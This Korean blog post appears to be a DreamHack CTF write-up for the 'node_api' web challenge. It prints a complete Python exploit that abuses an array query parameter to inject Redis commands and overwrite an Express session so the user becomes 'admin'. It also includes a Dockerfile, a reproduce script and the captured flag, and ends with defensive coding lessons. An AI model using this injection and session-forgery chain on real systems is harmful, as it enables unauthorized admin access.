๋ธŒ๋ผ์šฐ์ €์—์„œ ์†์œผ๋กœ ํ•˜๋˜ ๊ฑธ ๊ทธ๋Œ€๋กœ ์Šคํฌ๋ฆฝํŠธ๋กœ ์˜ฎ๊ฒผ๋‹ค. ์„ธ์…˜ ๋ฐœ๊ธ‰๋ถ€ํ„ฐ ํ”Œ๋ž˜๊ทธ๊นŒ์ง€ ํ•œ ๋ฒˆ์— ๋ˆ๋‹ค.

#!/usr/bin/env python3
"""node_api (DreamHack, Gold 1 / web) โ€” Redis ๋ช…๋ น์–ด ์ฃผ์ž…์œผ๋กœ ์„ธ์…˜ ์œ„์กฐ
 
/show_logs ๋Š” req.query.log_query ์— .split('/') ์„ ๊ฑด๋‹ค. ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ๋ฐฐ์—ด๋กœ ๋ณด๋‚ด๋ฉด
Array ์—๋Š” split ์ด ์—†์–ด TypeError ๊ฐ€ ๋‚˜๊ณ , ๊ทธ ์˜ˆ์™ธ๋ฅผ ๋ณธ๋ฌธ์ด ๋นˆ catch ๊ฐ€ ์‚ผํ‚จ๋‹ค.
๊ทธ๋ž˜์„œ ์ •๊ทœํ™”(์ฒซ ํ† ํฐ์„ 'get' ์œผ๋กœ ๊ณ ์ •)๋ฅผ ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ด ์ฑ„ ์›๋ณธ ๋ฐฐ์—ด์ด ๊ทธ๋Œ€๋กœ
redis_client.send_command(log_query[0], log_query[1]) ๋กœ ํ˜๋Ÿฌ๊ฐ„๋‹ค โ†’ ์ž„์˜ Redis ๋ช…๋ น.
 
์„ธ์…˜ ์ €์žฅ์†Œ๊ฐ€ ๊ทธ Redis ๋ผ์„œ, ๋‚ด ์„ธ์…˜ ํ‚ค sess:<sid> ์˜ ๊ฐ’์„ SET ์œผ๋กœ ๋ฎ์–ด์“ฐ๋ฉด
userid ๋ฅผ "admin" ์œผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค. /flag ๋Š” req.session.userid === "admin" ๋งŒ ๋ณธ๋‹ค.
"""
import json
import re
import sys
from urllib.parse import quote, unquote
 
import requests
 
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18000'
 
s = requests.Session()
 
# 1) ์„ธ์…˜ ๋ฐœ๊ธ‰ โ€” saveUninitialized ๊ธฐ๋ณธ๊ฐ’์ด true ๋ผ ์ฒซ ์š”์ฒญ๋งŒ์œผ๋กœ sess:<sid> ๊ฐ€ Redis ์— ์ƒ๊ธด๋‹ค
r = s.get(f'{BASE}/')
raw = s.cookies.get('connect.sid')
print(f'[1] connect.sid = {raw}')
 
# ์ฟ ํ‚ค ํ˜•์‹์€ s:<sid>.<HMAC-SHA256 ์„œ๋ช…>. ์„œ๋ช…์€ ๊ทธ๋Œ€๋กœ ๋‘๊ณ  sid ๋งŒ ๋ฝ‘๋Š”๋‹ค
sid = unquote(raw)
assert sid.startswith('s:'), sid
sid = sid[2:].split('.', 1)[0]
print(f'[2] sid          = {sid}')
 
# 2) ์ €์žฅ์†Œ์— ์‹ค์ œ๋กœ ๊ทธ ํ‚ค๊ฐ€ ์žˆ๋Š”์ง€ KEYS ๋กœ ํ™•์ธ (๋ช…๋ น์–ด ์ฃผ์ž… ์ž์ฒด์˜ ์ฆ๊ฑฐ)
keys = s.get(f'{BASE}/show_logs', params={'log_query[0]': 'keys', 'log_query[1][0]': '*'}).text
print(f'[3] KEYS *       = {keys}')
 
# 3) ์„ธ์…˜ ๊ฐ’ ์œ„์กฐ. cookie ํ•„๋“œ๋Š” ํ•„์ˆ˜ โ€” express-session ์˜ createSession ์ด
#    sess.cookie.expires ๋ฅผ ๋จผ์ € ์ฝ์–ด์„œ, ์—†์œผ๋ฉด TypeError ๋กœ ์ฃฝ๋Š”๋‹ค
forged = {
    "cookie": {"originalMaxAge": None, "expires": None, "httpOnly": True, "path": "/"},
    "userid": "admin",
}
payload = json.dumps(forged, separators=(',', ':'))
url = (f'{BASE}/show_logs?log_query[0]=set'
       f'&log_query[1][0]={quote("sess:" + sid, safe="")}'
       f'&log_query[1][1]={quote(payload, safe="")}')
print(f'[4] SET ์‘๋‹ต     = {s.get(url).text}')
 
# 4) ์œ„์กฐ๋œ ๊ฐ’์ด ๋“ค์–ด๊ฐ”๋Š”์ง€ GET ์œผ๋กœ ๋˜์ฝ๋Š”๋‹ค
back = s.get(f'{BASE}/show_logs',
             params={'log_query[0]': 'get', 'log_query[1][0]': f'sess:{sid}'}).text
print(f'[5] GET sess:sid = {back}')
 
# 5) ์„œ๋ช…์€ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š์•˜์œผ๋‹ˆ ์›๋ž˜ ์ฟ ํ‚ค ๊ทธ๋Œ€๋กœ /flag ๋กœ
flag = s.get(f'{BASE}/flag').text
print(f'[6] /flag        = {flag}')
 
m = re.search(r'DH\{[^}]*\}', flag)
print('\nFLAG:', m.group(0) if m else '(ํ”Œ๋ž˜๊ทธ ํ˜•์‹ ์—†์Œ โ€” ์œ„ ์‘๋‹ต ํ™•์ธ)')

๋จผ์ € ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์— ๋ถ™์—ฌ ์ฒด์ธ์„ ํ™•์ธํ•œ๋‹ค. flag.txt ์—๋Š” ๋”๋ฏธ๋ฅผ ์‹ฌ์–ด ๋’€๋‹ค.

python3 solve.py http://127.0.0.1:18000
๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์ƒ๋Œ€๋กœ solve.py ๋ฅผ ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. ์ฟ ํ‚ค ๋ฐœ๊ธ‰๊ณผ sid ์ถ”์ถœ, KEYS * ๋กœ ์„ธ์…˜ ํ‚ค ํ™•์ธ, SET ์‘๋‹ต OK ์— ์ด์–ด ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋งˆ์ง€๋ง‰ ์ค„์— ์ถœ๋ ฅ๋๋‹ค
๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์ƒ๋Œ€๋กœ solve.py ๋ฅผ ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. ์ฟ ํ‚ค ๋ฐœ๊ธ‰๊ณผ sid ์ถ”์ถœ, KEYS * ๋กœ ์„ธ์…˜ ํ‚ค ํ™•์ธ, SET ์‘๋‹ต OK ์— ์ด์–ด ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋งˆ์ง€๋ง‰ ์ค„์— ์ถœ๋ ฅ๋๋‹ค

๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋กœ ๋Œ๋ฆฐ๋‹ค.

python3 solve.py http://host3.dreamhack.games:13788
๋“œ๋ฆผํ•ต ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋ฅผ ์ƒ๋Œ€๋กœ solve.py ๋ฅผ ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. ๋ฐœ๊ธ‰๋ฐ›์€ connect.sid ์™€ sid, KEYS * ๊ฐ€ ๋Œ๋ ค์ค€ ์„ธ์…˜ ํ‚ค ๋ชฉ๋ก, SET ์‘๋‹ต OK, ๋˜์ฝ์€ ์„ธ์…˜ JSON ์˜ userid admin ์— ์ด์–ด ์‹ค์ œ ํ”Œ๋ž˜๊ทธ c5adc4033f8b685d84d56423082f21ac ๊ฐ€ ๋งˆ์ง€๋ง‰ ์ค„์— ์ถœ๋ ฅ๋๋‹ค
๋“œ๋ฆผํ•ต ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋ฅผ ์ƒ๋Œ€๋กœ solve.py ๋ฅผ ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. ๋ฐœ๊ธ‰๋ฐ›์€ connect.sid ์™€ sid, KEYS * ๊ฐ€ ๋Œ๋ ค์ค€ ์„ธ์…˜ ํ‚ค ๋ชฉ๋ก, SET ์‘๋‹ต OK, ๋˜์ฝ์€ ์„ธ์…˜ JSON ์˜ userid admin ์— ์ด์–ด ์‹ค์ œ ํ”Œ๋ž˜๊ทธ c5adc4033f8b685d84d56423082f21ac ๊ฐ€ ๋งˆ์ง€๋ง‰ ์ค„์— ์ถœ๋ ฅ๋๋‹ค

DH{c5adc4033f8b685d84d56423082f21ac}.


๐Ÿงช ๋กœ์ปฌ ์žฌํ˜„ ํ™˜๊ฒฝ

๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋ถ™๊ธฐ ์ „์— ๋กœ์ปฌ์—์„œ ๋จผ์ € ๋‹ค ๋งž์ถฐ ๋†“๊ณ  ๊ฐ”๋‹ค. ์žฌํ˜„์— ์“ด ๊ฒƒ๋“ค์„ ๊ทธ๋Œ€๋กœ ๋‚จ๊ธด๋‹ค.

ํ˜ธ์ŠคํŠธ์— ์ด๋ฏธ Redis(6379)์™€ ๋‹ค๋ฅธ ์„œ๋น„์Šค(8000)๊ฐ€ ๋–  ์žˆ์–ด์„œ, main.js ๋ฅผ ํ•œ ๊ธ€์ž๋„ ๊ณ ์น˜์ง€ ์•Š์œผ๋ ค๋ฉด ์ปจํ…Œ์ด๋„ˆ๋กœ ๊ฒฉ๋ฆฌํ•˜๋Š” ํŽธ์ด ๋‚ซ๋‹ค. redis.createClient() ๊ฐ€ ์ธ์ž ์—†์ด 127.0.0.1:6379 ๋ฅผ ๋ณด๊ธฐ ๋•Œ๋ฌธ์— Redis ๋„ ๊ฐ™์€ ์ปจํ…Œ์ด๋„ˆ์— ๋„ฃ๋Š”๋‹ค.

FROM node:14-bullseye
 
RUN apt-get update \
 && apt-get install -y --no-install-recommends redis-server \
 && rm -rf /var/lib/apt/lists/*
 
WORKDIR /app
COPY package.json ./
RUN npm install --no-audit --no-fund
 
COPY main.js ./
RUN printf 'DH{LOCAL_FAKE_FLAG_not_the_real_one}' > flag.txt
 
EXPOSE 8000
CMD redis-server --daemonize yes --save '' && exec node main.js
docker build -t node-api-local local/
docker run -d --name node-api-local -p 127.0.0.1:18000:8000 node-api-local

๋‘ ๊ฐ€์ง€๋Š” ๋ฏธ๋ฆฌ ์•Œ๊ณ  ์žˆ์–ด์•ผ ์‹œ๊ฐ„์„ ์•ˆ ๋ฒ„๋ฆฐ๋‹ค.

node:14-buster ๋Š” ์ด์ œ ์•ˆ ๋œ๋‹ค. Debian buster ๊ฐ€ ์•„์นด์ด๋ธŒ๋กœ ๋„˜์–ด๊ฐ€์„œ apt-get update ๊ฐ€ 404 ๋กœ ์ฃฝ๋Š”๋‹ค. bullseye ๋กœ ์˜ฌ๋ ค์•ผ ํ•œ๋‹ค.

๊ทธ๋ฆฌ๊ณ  package.json ์˜ ์˜์กด์„ฑ์ด ์ „๋ถ€ ์บ๋Ÿฟ(^) ๋ฒ”์œ„๋ผ, npm install ์€ 2020๋…„ ๋ฐฐํฌ๋ณธ์ด ์•„๋‹ˆ๋ผ ๊ทธ ๋ฒ”์œ„์˜ ์ตœ์‹  ํŒจ์น˜ ๋ฒ„์ „์„ ๊น๋‹ค. ์‹ค์ œ๋กœ express 4.22.2 ยท express-session 1.19.0 ์ด ๋“ค์–ด์™”๋‹ค(์œ„ ยง๋ฐฐ๊ฒฝ์˜ ์บก์ณ ์ฐธ๊ณ ). ์ทจ์•ฝ์ ์˜ ์„ฑ๊ฒฉ์ƒ ๊ฒฐ๊ณผ๋Š” ๊ฐ™์ง€๋งŒ, ๋กœ์ปฌ์—์„œ ๋˜๋Š” ๊ฒŒ ๊ณง ์›๊ฒฉ์—์„œ ๋œ๋‹ค๋Š” ๋ณด์žฅ์€ ์•„๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ๋„ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋กœ ํ•œ ๋ฒˆ ๋” ํ™•์ธํ–ˆ๋‹ค.

์ „์ฒด๋ฅผ ํ•œ ๋ฐฉ์— ๋‹ค์‹œ ๋Œ๋ ค ๋ณด๋ ค๋ฉด reproduce.sh ํ•˜๋‚˜๋ฉด ๋œ๋‹ค. ์ธ์ž๊ฐ€ ์—†์œผ๋ฉด ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์„ธ์›Œ ์ฒด์ธ๋งŒ ๊ฒ€์ฆํ•˜๊ณ , ์„œ๋ฒ„ ์ฃผ์†Œ๋ฅผ ์ฃผ๋ฉด ์ง„์งœ ํ”Œ๋ž˜๊ทธ๊นŒ์ง€ ๋ฐ›์•„ ์ •๋‹ต๊ณผ ๋Œ€์กฐํ•œ๋‹ค.

#!/usr/bin/env bash
# node_api (DreamHack Gold 1 / web) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                          ๋กœ์ปฌ ๋„์ปค๋กœ ์ต์Šค ์ฒด์ธ๋งŒ ์žฌํ˜„ (flag ๋Š” ๋กœ์ปฌ ๋”๋ฏธ)
#   ./reproduce.sh http://hostNโ€ฆ:PORT       ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋กœ ์ง„์งœ flag ํš๋“ + ์ •๋‹ต ๋Œ€์กฐ
#
# ์ด ๋ฌธ์ œ์˜ flag ๋Š” ๋ฌธ์ œ ์„œ๋ฒ„ ์ปจํ…Œ์ด๋„ˆ ์•ˆ flag.txt ์—๋งŒ ์žˆ๋‹ค. ์˜คํ”„๋ผ์ธ์œผ๋กœ ์ง„์งœ flag ๋ฅผ
# ๋งŒ๋“ค์–ด๋‚ผ ๋ฐฉ๋ฒ•์ด ์—†์œผ๋ฏ€๋กœ, ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด "์ฒด์ธ์ด ์‚ด์•„ ์žˆ๋‹ค"๊นŒ์ง€๋งŒ ์ฆ๋ช…ํ•œ๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT='DH{c5adc4033f8b685d84d56423082f21ac}'
 
if [ $# -ge 1 ]; then
  OUT=$(timeout 300 python3 solve.py "$1" 2>&1) || true
  echo "$OUT" | tail -8
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
    echo; echo "โœ… PASS  $FLAG"; exit 0
  fi
  echo; echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '$EXPECT')"; exit 1
fi
 
DUMMY='DH{LOCAL_FAKE_FLAG_not_the_real_one}'
docker build -q -t node-api-local local/ >/dev/null
docker rm -f node-api-local >/dev/null 2>&1 || true
docker run -d --name node-api-local -p 127.0.0.1:18000:8000 node-api-local >/dev/null
trap 'docker rm -f node-api-local >/dev/null 2>&1 || true' EXIT
 
for _ in $(seq 30); do
  curl -sf -o /dev/null http://127.0.0.1:18000/ && break
  sleep 1
done
 
OUT=$(timeout 120 python3 solve.py http://127.0.0.1:18000 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
if [ "$FLAG" = "$DUMMY" ]; then
  echo
  echo "โœ… ์ฒด์ธ ์žฌํ˜„ ์„ฑ๊ณต โ€” ์„ธ์…˜ ์ €์žฅ์†Œ๋ฅผ ๋ฎ์–ด์จ /flag ๊ฐ€ ์—ด๋ ธ๋‹ค."
  exit 0
fi
echo; echo "โŒ FAIL (๋กœ์ปฌ ์ฒด์ธ์ด ๊นจ์กŒ๋‹ค. ์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}')"; exit 1


๐Ÿ“ ๊ฒฐ๋ก 

์˜ˆ์™ธ๋ฅผ ์‚ผํ‚ค๋ฉด ๊ฒ€์ฆ๋„ ๊ฐ™์ด ์‚ฌ๋ผ์ง„๋‹ค

์ด ๋ฌธ์ œ์˜ ์ทจ์•ฝ์ ์€ ํ—ˆ์šฉ๋ชฉ๋ก์˜ ๋…ผ๋ฆฌ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ทธ๊ฒƒ์ด ๋†“์ธ ์œ„์น˜๋‹ค. if (log_query[0] != 'get') ์ž์ฒด๋Š” ๋ฉ€์ฉกํ•˜๋‹ค. ๋‹ค๋งŒ ๊ทธ ์„ธ ์ค„์ด try ์•ˆ์— ์žˆ๊ณ , ์•ž์ค„์—์„œ ์˜ˆ์™ธ๊ฐ€ ๋‚˜๋ฉด ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ฐ์–ด์ง„๋‹ค.

catch ๊ฐ€ ๋น„์–ด ์žˆ์–ด์„œ ์•„๋ฌด๋„ ์•Œ์•„์ฑ„์ง€ ๋ชปํ•œ๋‹ค. Error(403) ์€ ์ฃผ์„์œผ๋กœ๋งŒ ๋‚จ์•„ ์žˆ๋‹ค.

๊ฒ€์ฆ ์ฝ”๋“œ๋ฅผ try ์•ˆ์— ๋„ฃ์„ ๊ฑฐ๋ผ๋ฉด catch ๋Š” ๋ฐ˜๋“œ์‹œ ์š”์ฒญ์„ ๊ฑฐ์ ˆํ•ด์•ผ ํ•œ๋‹ค. ๋กœ๊ทธ๋งŒ ๋‚จ๊ธฐ๊ณ  ๋„˜์–ด๊ฐ€๋Š” ๊ฒƒ๋„ ๊ฐ™์€ ์‹ค์ˆ˜๋‹ค. ํ†ต๊ณผํ•  ์ˆ˜ ์—†๋Š” ์š”์ฒญ์„ ํ†ต๊ณผ์‹œํ‚ค๋Š” ๊ฒƒ๋ณด๋‹ค๋Š” 500 ์ด ๋‚ซ๋‹ค.

ํƒ€์ž… ๊ฒ€์‚ฌ๋Š” ๊ฐ’ ๊ฒ€์‚ฌ๋ณด๋‹ค ๋จผ์ €๋‹ค

log_query.split('/') ์€ ์ž…๋ ฅ์ด ๋ฌธ์ž์—ด์ด๋ผ๋Š” ๊ฑธ ์ „์ œํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ express ์˜ ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํŒŒ์„œ๋Š” ๊ฐ™์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฌธ์ž์—ด๋กœ๋„, ๋ฐฐ์—ด๋กœ๋„, ๊ฐ์ฒด๋กœ๋„ ๋งŒ๋“ค์–ด ์ค€๋‹ค. Node ์›น ์ทจ์•ฝ์ ์˜ ์ƒ๋‹น์ˆ˜๊ฐ€ ์—ฌ๊ธฐ์„œ ์‹œ์ž‘ํ•œ๋‹ค.

typeof log_query !== 'string' ํ•œ ์ค„์ด๋ฉด ์ด ๋ฌธ์ œ๋Š” ์—†๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์–ด๋–ค ํƒ€์ž…์„ ๋Œ๋ ค์ค„ ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๊ณ  ์“ฐ๋Š” ๊ฒƒ๊ณผ, ๋ฌธ์ž์—ด์ด๊ฒ ๊ฑฐ๋‹ˆ ํ•˜๊ณ  ์“ฐ๋Š” ๊ฒƒ์˜ ์ฐจ์ด๋‹ค.

์„ธ์…˜ ์ €์žฅ์†Œ๋Š” ์‹ ๋ขฐ ๊ฒฝ๊ณ„ ์•ˆ์ชฝ์ด๋‹ค

์„ธ์…˜ ์ฟ ํ‚ค์— ์„œ๋ช…์„ ๊ฑธ์–ด ๋‘๋ฉด ์•ˆ์ „ํ•˜๋‹ค๊ณ  ์ƒ๊ฐํ•˜๊ธฐ ์‰ฝ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์„œ๋ช…์€ ์„ธ์…˜ ID ๋ฅผ ์ง€ํ‚ฌ ๋ฟ, ์ €์žฅ์†Œ์— ์žˆ๋Š” ์„ธ์…˜ ๊ฐ’์€ ์ง€ํ‚ค์ง€ ์•Š๋Š”๋‹ค. ์ €์žฅ์†Œ์— ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ตฌ๋ฉ์ด ํ•˜๋‚˜๋ผ๋„ ์žˆ์œผ๋ฉด ์„œ๋ช…์€ ๋ฌด์˜๋ฏธํ•˜๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์„ธ์…˜ ์ €์žฅ์†Œ๊ฐ€ ๊ฐ™์€ Redis ์ธ์Šคํ„ด์Šค๋ฅผ ๊ณต์œ ํ•œ ๊ฒƒ์ด ๊ฒฐ์ •ํƒ€์˜€๋‹ค. ๋กœ๊ทธ ์กฐํšŒ ๊ธฐ๋Šฅ์— ๋ถ™์€ ๊ตฌ๋ฉ ํ•˜๋‚˜๊ฐ€ ์ธ์ฆ ์ „์ฒด๋ฅผ ๋ฌด๋„ˆ๋œจ๋ ธ๋‹ค. ์šฉ๋„๊ฐ€ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋Š” DB ๋ฒˆํ˜ธ๋ผ๋„ ๋ถ„๋ฆฌํ•˜๊ณ , ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด store ์ ‘๋‘์–ด(sess:)๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๋ฅผ ๊ฑด๋“œ๋ฆด ์ˆ˜ ์—†๊ฒŒ ๋ง‰์•„ ๋‘๋Š” ํŽธ์ด ๋‚ซ๋‹ค.

์ €์ˆ˜์ค€ API ์œ„์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์–น์ง€ ์•Š๋Š”๋‹ค

send_command ๋Š” ๋ช…๋ น ์ด๋ฆ„์„ ๋ฌธ์ž์—ด๋กœ ๋ฐ›๋Š”๋‹ค. ๊ทธ ์ž๋ฆฌ์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋‹ฟ๋Š” ์ˆœ๊ฐ„, ๋ฐฉ์–ด์„ ์€ "๋ช…๋ น ์ด๋ฆ„ ํ•„ํ„ฐ" ํ•˜๋‚˜๋ฟ์ด ๋œ๋‹ค. ํ•„ํ„ฐ๋Š” ์–ธ์  ๊ฐ€ ๋šซ๋ฆฐ๋‹ค.

์ฝ๊ธฐ๋งŒ ํ•„์š”ํ–ˆ๋‹ค๋ฉด redis_client.get(key, cb) ๋ฅผ ์“ฐ๋ฉด ๋œ๋‹ค. ๋ช…๋ น ์ด๋ฆ„์ด ์ฝ”๋“œ์— ๊ณ ์ •๋˜๋‹ˆ ์• ์ดˆ์— ์šฐํšŒํ•  ๋Œ€์ƒ์ด ์—†๋‹ค. ํ•„ํ„ฐ๋ฅผ ์ž˜ ๋งŒ๋“œ๋Š” ๊ฒƒ๋ณด๋‹ค, ํ•„ํ„ฐ๊ฐ€ ํ•„์š” ์—†๋Š” API ๋ฅผ ๊ณ ๋ฅด๋Š” ๊ฒŒ ๋‚ซ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 4] ์ฟ ํ‚ค ํ•œ ์ค„์ด ์„œ๋ฒ„์—์„œ eval ๋œ๋‹ค โ€” DreamHack node-serialize ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] ์ฟ ํ‚ค ํ•œ ์ค„์ด ์„œ๋ฒ„์—์„œ eval ๋œ๋‹ค โ€” DreamHack node-serialize ํ’€์ด

node-serialize 0.0.4 ์˜ unserialize ๋Š” "_$$ND_FUNC$$_" ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ฌธ์ž์—ด์„ eval ๋กœ ๋˜์‚ด๋ฆฐ๋‹ค. ๋’ค์— ๊ด„ํ˜ธ ๋‘ ๊ฐœ๋ฅผ ๋ถ™์—ฌ ์ฆ‰์‹œ์‹คํ–‰ํ•จ์ˆ˜๋กœ ๋งŒ๋“ค๋ฉด ์—ญ์ง๋ ฌํ™” ์‹œ์ ์— ์ฝ”๋“œ๊ฐ€ ๋ˆ๋‹ค. ์ถœ๋ ฅ ์ฑ„๋„์ด ์—†์–ด flag ๋ฅผ Error ๋กœ ๋˜์กŒ๊ณ , NODE_ENV ๋ฅผ ์•ˆ ์žก์•„ ๋‘” Express ๊ฐ€ ์Šคํƒ ํŠธ๋ ˆ์ด์Šค๋ฅผ 500 ์‘๋‹ต ๋ณธ๋ฌธ์— ๊ทธ๋Œ€๋กœ ์‹ค์–ด ๋ณด๋‚ด๋ฉด์„œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์™”๋‹ค.
#dreamhack#ctf#web+5
2026-08-08#dreamhack +4
[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด

์ธ์‚ฌ๋งŒ ๋Œ๋ ค์ฃผ๋Š” express ์„œ๋น„์Šค๊ฐ€ ๋‚ด๋ถ€ Private API ๋ฅผ SSRF ๋กœ ํ˜ธ์ถœํ•œ๋‹ค. admin ์ด๋ผ๋Š” ๋ฌธ์ž์—ด๊ณผ ํผ์„ผํŠธยท๋ฌผ์Œํ‘œยท์ƒต์„ ์ „๋ถ€ ๋ง‰์•„ ๋†จ์ง€๋งŒ, ๋‹จ์–ด ํ•œ๊ฐ€์šด๋ฐ์— ํƒญ ๋ฌธ์ž๋ฅผ ๋ผ์šฐ๋ฉด ํ•„ํ„ฐ๋Š” ๋‹ค๋ฅธ ๋‹จ์–ด๋กœ ๋ณด๊ณ  ํ†ต๊ณผ์‹œํ‚ค๊ณ  axios ๊ฐ€ URL ์„ ํŒŒ์‹ฑํ•˜๋Š” ์ˆœ๊ฐ„ ๊ทธ ํƒญ์ด ์‚ฌ๋ผ์ง€๋ฉด์„œ admin ์ด ๋˜์‚ด์•„๋‚œ๋‹ค. express ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํŒŒ์„œ๊ฐ€ ์ค‘๋ณต ํ‚ค๋ฅผ ๋ฐฐ์—ด๋กœ ๋ฌถ์–ด ์ฃผ๋Š” ์„ฑ์งˆ๊นŒ์ง€ ์–น์œผ๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋–จ์–ด์ง„๋‹ค.
#dreamhack#ctf#web+6
2026-08-15#dreamhack +4
[๐Ÿฅˆ Silver 1] ๊ฒ€์‚ฌํ•œ ํŒŒ์„œ์™€ ์ ‘์†ํ•œ ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack weird legacy ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๊ฒ€์‚ฌํ•œ ํŒŒ์„œ์™€ ์ ‘์†ํ•œ ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack weird legacy ํ’€์ด

URL ๊ฒ€์‚ฌ๋Š” WHATWG new URL() ๋กœ ํ•˜๊ณ  ์‹ค์ œ ์š”์ฒญ์€ node-fetch@2 ์˜ ๋ ˆ๊ฑฐ์‹œ url.parse() ๊ฐ€ ํ•œ๋‹ค. ๋‘ ํŒŒ์„œ๋Š” ํ˜ธ์ŠคํŠธ๋ช…์— ํ—ˆ์šฉํ•˜๋Š” ๊ธ€์ž๊ฐ€ ๋‹ฌ๋ผ์„œ, ํ˜ธ์ŠคํŠธ ๋’ค์— ๋А๋‚Œํ‘œ ํ•˜๋‚˜๋ฅผ ๋ถ™์ด๋ฉด ๊ฒ€์‚ฌ๋Š” localhost ๋กœ ์ฝ๊ณ  ์ ‘์†์€ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๊ฐ„๋‹ค. FLAG ๊ฐ€ ๋‹ด๊ธด Cookie ํ—ค๋”๊ฐ€ ํ†ต์งธ๋กœ ๋”ฐ๋ผ์˜จ๋‹ค.
#dreamhack#ctf#web+6
2026-08-07#dreamhack +4